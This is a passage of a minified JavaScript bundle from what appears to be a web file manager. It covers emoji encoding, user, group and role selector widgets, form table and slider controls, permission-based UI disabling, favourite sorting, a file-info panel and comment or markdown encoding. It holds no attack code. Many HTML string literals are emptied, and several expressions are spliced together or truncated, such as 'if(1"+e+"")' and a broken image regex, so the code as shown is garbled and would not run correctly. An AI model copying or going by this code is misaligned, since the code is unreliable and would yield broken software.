strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="emoji",this.name="emoji"},"emojMap":{"def":["😄","😷","😂","😅","😝","😳","😱","😔","🙄","🙃","😩","🤔","🌚","😉","😊","😋","😎","😍","😘","😙","😚","🙂","🤗","😐","😑","😬","😵","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😡","😰","😓","😕","🤑","😲","🙁","😖","😞","😟","😤","😢","😭","😦","😧","😨","😠","🤒","🤕","😇","🤓","😈","👿","🙏","💪","🎉","🎁","🙈","👊","🙌","💯","💃","🍻","👹","👺","💀","👻","👽","🤖","💩","😺","😸","😹","😻","😼","😽","🙀","😿","😾","🗣","👤"],"hot":["👥","👫","👬","👭","👂","👃","👣","👀","👁","👅","👄","💋","👓","🕶","👔","👕","👖","👗","👘","👙","👚","👛","👜","👝","🎒","👞","👟","👠","👡","👢","👑","👒","🎩","🎓","⛑","💄","💍","🌂","💼"],"food":["🍇","🍈","🍉","🍊","🍋","🍌","🍍","🍎","🍏","🍐","🍑","🍒","🍓","🍅","🍆","🌽","🌶","🍄","🌰","🍞","🧀","🍖","🍗","🍔","🍟","🍕","🌭","🍳","🍲","🍿","🍱","🍘","🍙","🍚","🍛","🍜","🍝","🍠","🍢","🍣","🍤","🍥","🍡","🍦","🍧","🍨","🍩","🍪","🎂","🍰","🍫","🍬","🍭","🍮","🍯","🍼","☕","🍵","🍶","🍾","🍷","🍸","🍹","🍺","🍻","🍽","🍴","🥄"]},"htmlPanel":function(){var i="";return _.each(this.emojMap,function(e,t){i+=''+t+"",_.each(e,function(e){i+=''+e+""})}),i},"toText":function(e){return this.encodeTo(e,"code")},"toTextStore":function(e){return this.encodeTo(e,"html")},"encodeTo":function(e,i){var t=/[\ud800-\udbff][\udc00-\udfff]/g;return e&&-1!=e.search(t)?e=e.replace(t,function(e){var t;return 2===e.length?(t=1024*(e.charCodeAt(0)-55296)+65536+e.charCodeAt(1)-56320,"html"==i?"&#"+t+";":"[:"+t+":]"):e}):e},"toHtml":function(e){e=this.toText(e);var a=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=a.numberToChar(t),n=' class="emoji-text emoji-text-'+t+'"';return''}):e},"numberToChar":function(e){var t=parseInt(e)-65536,i=55296+(t>>10),n=56320+(1023&t);return String.fromCharCode.apply(null,[i,n])},"charToNumber":function(e){return e.codePointAt()+""},"charToHex":function(e){},"toTextShow":function(e){e=this.toText(e);var i=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return i.numberToChar(t)}):e}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-group select").each(function(){var e="groupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"group","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=a(22),n=function s(e){return e&&e.__esModule?e:{"default":e}}(a(88));var r={"user":!1,"group":!1,"all":!1};t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e,t){var i=this;this.$(".form-groupAuth input[name]").each(function(){var e="groupAuth_"+roundString(5);i[e]=new o({"parent":t,"$afterDom":$(this),"parentGroup":$(this).attr("data-parentGroup"),"rootParam":$(this).attr("data-rootParam"),"selectType":$(this).attr("data-type")})}),e&&e()},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}});var o=i.BaseUserGroup.extend({"renderView":function(){var e=this.$afterDom.val()||"",t=a(94),i={"isSingle":this.isSingle,"selectType":this.selectType},n=this.renderHtml(t,i,!1);this.$afterDom.after(n),this.$el=this.$afterDom.next(),this.$selectBox=this.$afterDom.parent().find(".add-user-group"),this.$resultBox=this.$(".auth-select-box"),this.parseDefaultData(e),this.initDefaultValue(),this.bindNotifyMenu(),this.changeForValue(),this.renderViewDropdown(),this.bindToolbar(),this.$dropdown.css("width",this.$afterDom.width()),this.$afterDom.hide(),this.saveDataResult=_.debounce(_.bind(this.saveDataResult,this),200)},"changeForValue":function(){var e="";switch(this.selectType){case"user":e=this.resultData.user;break;case"group":e=this.resultData.group;break;case"all":e=this.resultData,_.isEmpty(e.user)&&_.isEmpty(e.group)&&(e="")}e=_.isEmpty(e)?"":jsonEncode(e),this.$afterDom.val(e).trigger("change")},"parseDefaultData":function(e){switch(this.keyID=[],this.isSingle=!1,this.loadValue={"group":"","user":""},this.resultData={"group":{},"user":{}},this.authSelectChild=[],e=(e=_.isString(e)?jsonDecode(e):e)||{},this.selectType){case"user":this.keyID=["userID"],this.loadValue.user=_.keys(e).join(","),this.resultData.user=e||{};break;case"group":this.keyID=["groupID"],this.loadValue.group=_.keys(e).join(","),this.resultData.group=e||{};break;case"all":this.keyID=["groupID","userID"],this.loadValue.user=_.keys(e.user).join(","),this.loadValue.group=_.keys(e.group).join(","),this.resultData=_.extend(this.resultData,e)}},"bindNotifyMenu":function(){this.bind("menuOpen",function(){this.$selectBox.addClass("active")}),this.bind("menuClose",function(){this.$selectBox.removeClass("active")})},"bindToolbar":function(){var i=this,e=this.$(".auth-toolbar .auth-toolbar-item"),t="hidden",n=function n(){i.$afterDom.val()?(e.filter('[data-action="clear"]').removeClass("disable-event"),e.filter('[data-action="copy"]').removeClass(t)):(e.filter('[data-action="clear"]').addClass("disable-event"),e.filter('[data-action="copy"]').addClass(t)),r[i.selectType]?e.filter('[data-action="paste"]').removeClass(t):e.filter('[data-action="paste"]').addClass(t)};this.$el.bind("mouseenter",n),this.$afterDom.bind("change",n),e.bind("click",function(e){if(!$(this).hasClass("disable"))switch($(this).attr("data-action")){case"clear":i.setValue({});break;case"copy":var t=i.$afterDom.val();t&&(r[i.selectType]=t,Tips.tips(LNG["explorer.copyOK"]),n());break;case"paste":r[i.selectType]&&i.setValue(r[i.selectType])}})},"changeForResult":function(){this.initDataAfter=!0;var e=this,t=a(95),i={"list":this.listData,"authList":this.resultData,"itemIcon":_.bind(this.itemIcon,this)},n=this.renderHtml(t,i,!1);this.removeAuthSelectBefore(),this.$resultBox.html(n),this.$resultBox.find(".item-choice").each(function(){e.bindAuthSelect($(this))}),this.saveDataResult()},"bindAuthSelect":function(e){var t=this,i=new n["default"]({"parent":this});i.$el=e.find(".select-role"),i._objectName="groupAuthSelect_"+roundString(5),i.loadSource(function(){i.$el&&(i.$el.attr("data-type","group-auth"),i.$el.attr("data-key","group-auth-"+t.$afterDom.attr("name")),i.selectInit(i.$("select"),i.$el),t.parent&&t.parent.trigger("groupAuth.initAuth",i))}),i.selectChange=_.bind(this.saveDataResult,this),this[i._objectName]=i,this._authSelectChild.push(i)},"removeAuthSelectBefore":function(){this._each(this._authSelectChild,function(e){delete this[e._objectName],e.objectRemove(e)}),this._authSelectChild=[]},"onRemove":function(){this.removeAuthSelectBefore(),$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"saveDataResult":function(){if((this.initDataAfter||!_.isEmpty(this.listData))&&this.$resultBox&&this.$resultBox.exists()){this.resultData={"user":{},"group":{}};var a=this.resultData;this.$resultBox.find(".item-choice").each(function(){var e=$(this).find("select"),t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=e.val()||e.attr("data-value");"userID"==t?a.user[i]=n:a.group[i]=n}),this.changeForValue()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-job select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("jobList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){return $(""+e.text+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-user select").each(function(){var e="userSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"user","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-userGroup select").each(function(){var e="userGroupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"all","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=i(22),o=function n(e){return e&&e.__esModule?e:{"default":e}}(i(96));t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var a=this;this.$(".form-userSelect").each(function(){var e=$(this);a.bindButtonGroup(e);var t="userSelect_"+roundString(5);a[t]=new r.BaseUserGroup({"parent":a,"selectType":"user","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-user select")});t="groupSelect_"+roundString(5);a[t]=new r.BaseUserGroup({"parent":a,"selectType":"group","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-group select")});t="roleSelect_"+roundString(5);var i=e.find(".user-select-role"),n=new o["default"]({"parent":this});n.loadSource(function(){n.selectInit(i.find("select"),i)}),this[t]=n}),e&&e()},"getValue":function(e,n){var a={"all":"0","user":"","group":"","role":""};return n.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type");if("all"!=e){var t=n.find(".user-select-"+e+" select"),i="role"==e?t.val():t.attr("data-value");i=_.isArray(i)?i.join(","):i,a[e]=i}else a[e]="1"}),jsonEncode(a)},"setValue":function(e,t){var i=e.parent(),n=i.find(".btn-group-segment"),a=i.find(".user-select-user select").data("kodView"),r=i.find(".user-select-group select").data("kodView"),o=i.find(".user-select-role select");t=_.isString(t)?jsonDecode(t):t,t=$.extend(!0,{"all":"","user":"","group":"","role":""},t),n.find("[data-type=all]").click(),_.each(t,function(e,t){e&&n.find("[data-type="+t+"]").click()}),a&&a.setValue(t.user),r&&r.setValue(t.group);var s=t.role;s&&_.isString(s)&&o.attr("multiple")&&(s=s.split(",")),o.val(s).trigger("change")},"bindButtonGroup":function(n){var a="btn-active",r=n.find(".btn-group").attr("multiple","multiple"),o=r.find(".btn"),e=n.find("> .setting-content input"),s=_.bind(this.parent.display,this.parent);o.bind("click",function(){var e=$(this).attr("data-type"),t=r.parent().find(".user-select"),i=t.filter(".user-select-"+e);if(!r.attr("multiple")||"all"==e)return o.removeClass(a),$(this).addClass(a),t.each(function(){s($(this),!1)}),void s(i,!0);$(this).toggleClass(a),s(i,!i.is(":visible")),$(this).hasClass(a)?n.find("[data-type=all]").removeClass(a):n.find("."+a).exists()||n.find("[data-type=all]").addClass(a)}),this.setValue(e,e.val())}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this.$(".form-segment .btn-group .btn"),n="btn-active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first(),i=$(this).attr("data-value");t.find("input").val(i).trigger("change"),t.find(".btn").removeClass(n),$(this).addClass(n)}),e&&e()},"setValue":function(e,t){e.parent().find('.btn[data-value="'+t+'"]').click()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(6)),r=o(i(7));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,r["default"])(a["default"].mark(function s(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"bootstrap-slider/bootstrap-slider.css",VENDER_PATH+"bootstrap-slider/bootstrap-slider.js"]);case 2:if(this.$el){e.next=4;break}return e.abrupt("return","");case 4:t&&t(),this.$(".form-slider input").slider(),this.bind("onRemove",function(){this.$(".form-slider input").slider("destroy")});case 7:case"end":return e.stop()}},s,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.slider("setValue",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var i=this;if(!this.$el)return"";this.tableForm=[],this.$(".form-table input").each(function(){i.renderTableValue($(this)),i.bindSort($(this))}),this.$(".form-table .row-add").bind("click",function(){var e=$(this).parent().children("input");i.rowAdd(e)}),this.$(".form-table").delegate(".list-content .row-action .col-action","click",function(){var e=$(this).parents(".form-table-main").prev(),t=$(this).parents(".list-row");i.rowAction(e,$(this).attr("action"),t.attr("data-index"))}),this.bind("onRemove",function(){this._each(this.tableList,function(e){e.objectRemove()})}),e&&e()},"getFormData":function(e){var t=e.attr("name"),i=$.objClone(this.parent.formData[t]);i.info=_.extend({"removeConfirm":1,"formType":"dialog","canSort":1,"dialog":{}},i.info||{});var n=this.getValue(e,!1,!1);return i.value=jsonDecode(n)||[],i},"bindSort":function(e){var t=this,i=this.getFormData(e),a=$(e.parent().find(".list-content").get(0));a.addClass("table-type-"+i.info.formType),i.info.canSort?(a.dragsort("destroy"),a.dragsort({"dragSelector":".col-drag","dragBetween":!0,"dragEnd":function(){var i=t.getFormData(e).value,n=[];a.find(".list-row").each(function(e){var t=parseInt($(this).attr("data-index"));i[t]&&n.push(i[t]),$(this).attr("data-index",e)}),t.setValue(e,n,!0)}})):a.addClass("can-not-sort")},"renderTableValue":function(i){var n=this.getFormData(i),e=i.parent().find(".list-content");if(e.html(""),this.checkEmpty(i),"dialog"==n.info.formType){if(_.isEmpty(n.value))return;var a="";this._each(n.value,function(e,t){a+=this.renderTableHtmlRow(e,n,t)}),e.html(a)}else this._each(this.tableList,function(e){e.objectRemove()}),this._each(n.value,function(e,t){this.rowAdd(i,e,t)})},"renderTableHtmlRow":function(e,t,i){var n='
    ',a=t.row||t.children;return _.each(a,function(e,t){var i=e.template||(e.key?"{{"+e.key+"}}":"{{"+t+"}}");n+='
    '+i+"
    "}),n=n.substr(0,n.length-6)+'\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.edit\']}}\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.delete\']}}\n\t\t\t
    \n\t\t
    ',e._index=i,this.renderHtml(n,e,!1)},"rowAction":function(n,e,a){var r=this,o=this.getFormData(n);if("edit"!=e){var s=function s(){var e=n.parent().find(".form-table-main .list-content"),t=e.find(".list-row[data-index="+a+"]");if(o.value[parseInt(a)]=!1,o.value=_.filter(o.value),"inline"==o.info.formType){var i=t.data("kodView");i&&i.objectRemove()}t.remove(),e.find("> .list-row").each(function(e){$(this).attr("data-index",e)}),r.setValue(n,o.value,!0)};o.info.removeConfirm?$.dialog.confirm(LNG["common.ifDel"],s,!1,LNG["common.delete"]):s()}else{var t=o.value[parseInt(a)]||{};this.rowAdd(n,t,a)}},"rowAdd":function(e,t,i){var n=this.getFormData(e);_.each(t,function(e,t){n.children[t]&&(n.children[t].value=e)});var a=!t;"dialog"==n.info.formType?this.rowAddDialog(e,n,a,i):this.rowAddInline(e,n,a)},"rowAddDialog":function(o,s,l,c){var d=this,e=_.get(s,"info.dialog.titleAdd",LNG["common.add"]),t=_.get(s,"info.dialog.icoAdd",'');l||(e=_.get(s,"info.dialog.titleEdit",LNG["common.edit"]),t=_.get(s,"info.dialog.icoEdit",''));var i=new kodApi.formMaker({"parent":this,"formData":s.children}),n={"id":"form-row-"+o.attr("name"),"title":e,"ico":t,"width":600,"height":500,"okVal":LNG["common.save"]};_.extend(n,s.info.dialog),i.renderDialog(n,function(e){var t=s.value,i=o.parent().find(".form-table-main .list-content");if(l){t.push(e);var n=i.find(".list-row").length,a=d.renderTableHtmlRow(e,s,n);$(a).appendTo(i)}else{t[c]=e;var r=i.find(".list-row[data-index="+c+"]");a=d.renderTableHtmlRow(e,s,c);$(a).insertBefore(r),r.remove()}d.setValue(o,t,!0)})},"rowAddInline":function(e,t,i){var n=e.parent().find(".list-content"),a=new kodApi.formMaker({"parent":this,"formData":t.children}),r=$("
    ").appendTo(n);a.renderTarget(r);var o=n.children(".list-row").length,s=a.$el;a.$(".panel-form-body").children().appendTo(a.$el),a.$(".panel-form-body").remove(),s.find(".form-target-save").remove(),s.attr("data-index",o),s.insertAfter(r).addClass("list-row"),r.remove(),a.$el=s;var l='\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.edit"]+'\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.delete"]+"\n\t\t\t
    \n\t\t
    ",c=a.$el.find(".form-row").last();c.addClass("row-action-parent"),$(l).appendTo(c),this.tableForm.push(a),i&&(t.value.push(a.getValue()),this.setValue(e,t.value,!0))},"getValue":function(e,t,i){var n=this.parent.formData[e.attr("name")],a=e.val();if(a="[]"==a?"":a,"inline"==_.get(n,"info.formType")){var r=[];e.parent().find(".form-table-main .list-row").each(function(){var e=$(this).data("kodView");e&&r.push(e.getValue(!1,i))}),r=_.filter(r),_.isEmpty(r)||(a=jsonEncode(r))}return a},"checkEmpty":function(e){var t=e.parent().find(".list-row-empty");e.val()?t.addClass("hidden"):t.removeClass("hidden")},"setValue":function(e,t,i){t="[]"==(t=_.isString(t)?t:jsonEncode(t))?"":t,e.val(t).trigger("change"),this.checkEmpty(e),i||this.renderTableValue(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-tags select","selectDataMake":function(e,t,i){e.tags=!0,e.multiple=!0,e.closeOnSelect=!1,i()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.SOURCE_TYPE={"user":1,"group":2}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=".setting-page .setting-main .setting-main-content .panel-body",a=".admin-page .admin-main .admin-main-content .panel-body",r="{pointer-events: none;opacity:0.5 !important;}",o={"user.edit":"\n\t\t"+n+".account-page a "+r+"\n\t\t.setting-page .setting-menu-left .user-head-img,\n\t\t"+n+".account-page .acc-row{pointer-events:none;}\n\t","admin.role.edit":"\n\t\t"+a+".role-page .toolbar .left button "+r+"\n\t\t"+a+".role-page .list-table .list-row .setting "+r+"\n\t","admin.job.edit":"\n\t\t"+a+".job-page .left button "+r+"\n\t\t"+a+".job-page .list-table .list-row .setting "+r+"\n\t","admin.member.userEdit":"","admin.member.groupEdit":"","admin.auth.edit":"\n\t\t"+a+".auth-page .left button "+r+"\n\t\t"+a+".auth-page .list-table .list-row .setting "+r+"\n\t","admin.plugin.edit":"\n\t\t"+a+".plugin-page .app-content .action.btn-group "+r+"\n\t\t"+a+".plugin-page .app-descript .action.btn-group "+r+"\n\t","admin.storage.edit":"\n\t\t"+a+".storage-page .app-content .action.btn-group "+r+"\n\t","admin.autoTask.edit":"\n\t\t"+a+".task-page .left button "+r+"\n\t\t"+a+".task-page .list-table .list-row .setting "+r+"\n\t"};t["default"]=o},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){e=e||{};var i="",t=o.$each,n=e.list,a=(e.item,e.$index,e.fileList),r=o.$escape;return t(n,function(e,t){i+='
    ',i+=r(e.name),i+="
    "}),i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.ioPath=G.io.KOD_USER_FAV+"/",this.dragFlag="bind-drag-sort-fav",this._delay(this.bindNotify)},"bindNotify":function(){this.root.header&&this.root.tree&&(this.listenTo(this.root.path,"list.renderAfter",this.bindFileList),this.listenTo(this.root.tree,"initAfter",function(){this.bindTree(this.ioPath)}),this.listenTo(this.root.tree.treeView,"loadAfter",this.bindTree),this.listenTo(this.root.tree.treeView,"switchChange",function(e){e&&e.open&&e.path==this.ioPath&&this.bindTree(this.ioPath)}))},"bindFileList":function(){var t=this,e=this.root.path.currentPath,i=this.$root.find(".file-continer");if("split"==this.userModel.getOption("listType")){i.dragsort("destroy"),i.removeClass(this.dragFlag);var n='[data-path="'+hashEncode(this.ioPath)+'"]',a=i=this.$root.find(".split-box").filter(n);if(0==a.length)return;i=a.children(".content")}else if(_.trim(e,"/")+"/"!=this.ioPath)return void(i.hasClass(this.dragFlag)&&(i.dragsort("destroy"),i.removeClass(this.dragFlag)));i.addClass(this.dragFlag),i.dragsort("destroy"),i.dragsort({"dragSelector":".file","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
    ","dragStart":function(e,t){if($.targetParent(t,".children-list"))return!1},"dragEnd":function(){var e=$(this).parent().children(".file");t.resetSort(e)}})},"bindTree":function(e){if(_.trim(e,"/")+"/"==this.ioPath){var t=this.root.tree.zTree.getNodesByParam("path",this.ioPath),i=!1;if(!t)return!1;if(_.each(t,function(e){_.trim(e.pathFather,"/")+"/"!=G.io.KOD_USER_FAV&&(i=e)}),i&&i.$node){var n=$("#"+i.$node.next().attr("id")),a=this;0!=n.length&&(n.hasClass(this.dragFlag)||(n.addClass(this.dragFlag),n.dragsort("destroy"),n.dragsort({"dragSelector":".tree-node","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
  • ","dragStart":function(e,t){var i=$.targetParent(t,".tree-node");if(!i||!i.parent().parent().is(n))return!1},"dragEnd":function(){var e=$(this).parent().children("li").children(".tree-node");a.resetSort(e)}})))}}},"resetSort":function(e){var i=[];e.each(function(){var e=$(this),t=e.data("fileItem")||e.data("treeNode");i.push(_.get(t,"sourceInfo.favID"))});var t=this.ioPath;i=_.filter(i).join(","),this.pathModel.favResetSort({"favList":i},function(){Events.trigger("path.pathChange",t)})}})},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){var t="",i=(e=e||{}).i,n=o.$escape,a=e.item,r=e.LNG;return t+='
    ',t+=a.viewUserInfo,t+='
    ',t+=a.viewTitle,t+='
    ',t+=a.viewCurrent,t+='
    ',t+=a.viewPercentInfo,t+='
    ',t+=n(r["common.task.timeStart"]),t+="",t+=a.viewStartTime,t+='',t+=n(r["common.task.timeUse"]),t+="",t+=a.viewUseTime,t+='',t+=n(r["common.task.timeNeed"]),t+="",t+=a.viewNeedTime,t+='
    ',t+=n(r["common.task.running"]),t+='',t+=n(r["common.task.stoping"]),t+='',t+=n(r["common.task.killing"]),t+='
    ","resizeCallback":function(){e.$(".tab-group-line .tab-item.active").tabCurrent(),e.$(".perfectScroll").perfectScroll()},"close":function(){e.objectRemove()}});var s=this.dialog.$main;this.open=!0,this.$main=s.find(".file-panel"),this.$el=this.$main,this.dialog.kodView=this,s.data("kodView",this),s.data("root",this.root);var l="+="+10*$(".artDialog.dialog-file-panel").length+"px";this._delay(function(){s.css({"left":l,"top":l})}),this.initView(),this.bindEvent(),this.reloadView(),this.pathInfo(function(){this.reloadView()}),this.dialog.position("50%","40%"),this.bind("onRemove",function(){this.pathInfoAjax&&this.pathInfoAjax.abort(),this.dialog&&this.dialog.close()}),$.contextMenu.clickBind(this.$main,".menu-left-click,.menu-trigger")},"bindEvent":function(){var e=this.dialog.$main;if(this.bind("tabChange",function(){this.$main.find(".perfectScroll").perfectScroll(),e.hasClass("dialog-max")||e.css({"width":"auto","min-width":"auto"})}),1==this.listData.length){var t=this.listData[0];this.listenTo(this.root.pathAction,"pathChangeNotify",function(e){e==t.path&&this._delay(function(){this.pathInfo(this.reloadView)},10)}),this._delay(function(){this.$('.dialog-tab [tab-name="'+this.selectTab+'"]').tabCurrent()},200)}},"pathInfo":function(i){var n={"dataArr":[]},a=this,r=$.objClone(this.listData);if(this._each(this.listData,function(e){var t={"path":e.path};this.infoSimple&&(t["type"]="simple"),n.dataArr.push(t),e.sourceInfo={},e.metaInfo={},delete e._itemDataBefore}),!this.infoSimple){var e=LNG["common.detail"]+LNG["explorer.getting"];this.tipsLoading=Tips.loadingMask(this.$(".panel-info"),e)}this.infoSimple=!0,this.pathInfoAjax&&this.pathInfoAjax.abort(),this.pathInfoAjax=this.pathModel.pathInfo(n,function(e){if(a.tipsLoading&&a.tipsLoading.close(),a.tipsLoading=!1,e&&e.code){var t=_.isArray(e.data)?e.data:[e.data];a.listData=$.extend(!0,a.listData,t),this._each(a.listData,function(e,t){e.downloadPath=_.get(r[t],"downloadPath",e.downloadPath)}),jsonEncode(r)==jsonEncode(a.listData)||i&&i.apply(a,a.listData)}})},"rootSelector":function(){return"."+this.dialog.config.id},"display":function(){},"bindResize":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=d(i(410)),a=d(i(418)),r=d(i(165)),o=d(i(422)),s=d(i(424)),l=d(i(430)),c=d(i(166));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.selectTab="panel-info",this.bindEventInit(),this.changeTabEventNow=this.changeTabEvent,this.changeTabEvent=_.debounce(_.bind(this.changeTabEvent,this),20),this.historyBindFile=new r["default"]({"parent":this}),this._delay(function(){this.historyBindFile.bindFileMenu()},100)},"bindEventInit":function(){var e=this;this.panelSave=!($.isWindowSmall()||"explorerDialog"==this.root.viewType),this.open="1"==this.userModel.getOption("filePanel"),this.open=!!this.panelSave&&this.open,this.$main=this.$(".file-panel"),this.$main.find(".panel-tab-content").addClass("tab-animate-fade"),this.$(".panel-toggle").bind("click",function(){e.open=!$(this).hasClass("active"),e.panelSave&&e.userModel.setOption("filePanel",Number(e.open)),e.display()}),this.listenTo(this.parent.select,{"select.change":function(){"1"==this.userModel.getOption("filePanel")&&(this.displayFirst||(this.display(),this.displayFirst=!0),this.reloadData())}})},"initView":function(){var e=i(433);this.renderHtml(e,!1,this.$main),this.viewChat=new n["default"]({"parent":this}),this.viewHistory=new a["default"]({"parent":this}),this.viewLog=new o["default"]({"parent":this}),this.viewInfo=new s["default"]({"parent":this}),this.viewAuth=new c["default"]({"parent":this}),this.viewMeta=new l["default"]({"parent":this}),this.bindEventView(),this.bindResize()},"rootSelector":function(){return this.root.rootSelector()},"bindEventView":function(){var t=this;this.$main.children(".tab-group-line").find(".tab-item").bind("click",function(e){t.selectTab=$(this).attr("tab-name"),t.changeTab(t.selectTab,!0)}),this.$(".panel-close").bind("click",function(e){t.$(".panel-toggle").trigger("click")})},"bindResize":function(){var t="explorerPanelWidth";this.resize=this.$main.dragResize({"size":{"init":300,"min":285,"max":600},"className":"drag-resize-panel","orgin":"x","viewBefore":!1,"storeValue":function(e){return _.isUndefined(e)?this.userModel.getOptionResize(t)||300:this.userModel.setOptionResize(t,e)},"onChange":function(e,t){this.root.trigger("file.continer.resize"),t&&(this.$(".tab-group-line .tab-item.active").tabCurrent(),this.$main.find(".perfectScroll").perfectScroll())}},this)},"display":function(){this.initViewFirst||(this.initViewFirst=!0,this.initView());var e=this.$main.parent(),t=this.$(".panel-toggle"),i=this.$(".file-continer");i.css("width",i.width()),this._delay(function(){i.css("width","inherit"),this.root.trigger("file.continer.resize")},300),this.open?(this.$main.removeClass("hidden"),t.addClass("active"),e.addClass("panel-open"),this.reloadData(),this.resize.sizeChange(),this.$main.css("right",0)):(this.selectTab="panel-info",t.removeClass("active"),e.removeClass("panel-open"),e.find(".bodymain").css("right",0),e.find(".drag-resize-panel").css("right",0),this.$main.css("right",-1-this.$main.width())),this.root.trigger("file.continer.resize")},"reloadData":function(){if(this.open){this.listData=this.root.pathAction.makeParamSelect();var e=this.root.path.jsonData;_.isEmpty(e)||(_.isEmpty(this.listData)&&(this.listData=[e.current]),this.reloadView())}},"reloadView":function(){var t=this.$main.children(".tab-group-line"),e=this.listData,i=this.root.pathAction.auth;if(1"+e+""),i={};if(1<=t.find(".comment-text").length){var n="";t.find(".comment-text").each(function(){n+=$(this).prop("outerHTML")+"
    "}),t=$(""+n+"")}t.find("[data-node]").each(function(){var e=$(this);switch(e.attr("data-node")){case"text":var t=e.attr("title");$(""+t+"").insertBefore(e);break;case"markdown":if(!(t=(t=e.attr("data-markdown"))?base64Decode(t):e.textGet()))break;$("[markdown]"+t+"[/markdown]").insertBefore(e);break;case"param":i[e.attr("data-key")]=e.attr("data-value")}}),t.find("[data-node]").remove(),t.find("img").each(function(){var e="[@base64:"+base64Encode($(this).prop("outerHTML"))+"@]";$(""+e+"").insertBefore($(this))}),t.find("img").remove();var a=t.textGet();return a=this.domDecode(a)},"imageEncode":function(e){var t=/|\/>)/gi;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return"[@base64:"+base64Encode(e)+"@]"}):e},"markdownEncode":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)&&n.markdownParse?e.replace(t,function(e,t){var i=n.markdownParse(t);return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"markdownEncodeEditor":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=n.encodeSpace(htmlEncode(t));return i="
    "+i+"
